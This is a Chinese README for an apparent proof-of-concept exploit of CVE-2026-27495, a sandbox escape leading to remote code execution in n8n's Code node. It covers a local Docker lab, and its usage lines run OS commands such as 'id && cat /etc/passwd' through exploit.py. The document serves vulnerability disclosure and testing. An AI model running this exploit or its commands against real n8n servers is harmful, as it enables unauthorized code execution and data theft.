通过 host-realm 对象泄漏在 n8n JavaScript Task Runner 中实现沙箱逃逸。
| CVE | CVE-2026-27495 |
| CVSS | 9.4(严重) |
| CWE | CWE-94 — 代码注入 |
| 受影响版本 | n8n < 1.123.22 / 2.0.0–2.9.2 / 2.10.0 |
| 已修复版本 | 1.123.22 / 2.9.3 / 2.10.1 |
| 攻击面 | 代码节点(已认证,Task Runners 已启用) |
docker compose up -d
等待约 15 秒让 n8n 启动,然后打开 http://localhost:5678 并创建所有者账户(邮箱:[email protected],密码:TestPassword123!)。
pip install requests
探测沙箱逃逸:
python3 exploit.py --probe
RCE — 取消注释 docker-compose.yml 中的 NODE_FUNCTION_ALLOW_BUILTIN=*,然后重启:
docker compose down && docker compose up -d
python3 exploit.py --cmd "id && cat /etc/passwd"
首次设置(自动创建所有者账户):
python3 exploit.py --setup --probe
Options:
--url URL n8n base URL (default: http://localhost:5678)
--email EMAIL Login email (default: [email protected])
--password PASSWORD Login password
--cmd CMD OS command to execute (RCE)
--setup Create owner account (fresh instance)
--probe Probe sandbox escape only (no RCE, works with any config)
--proxy PROXY HTTP proxy (e.g. http://127.0.0.1:8080)
仅用于授权的安全研究和教育目的。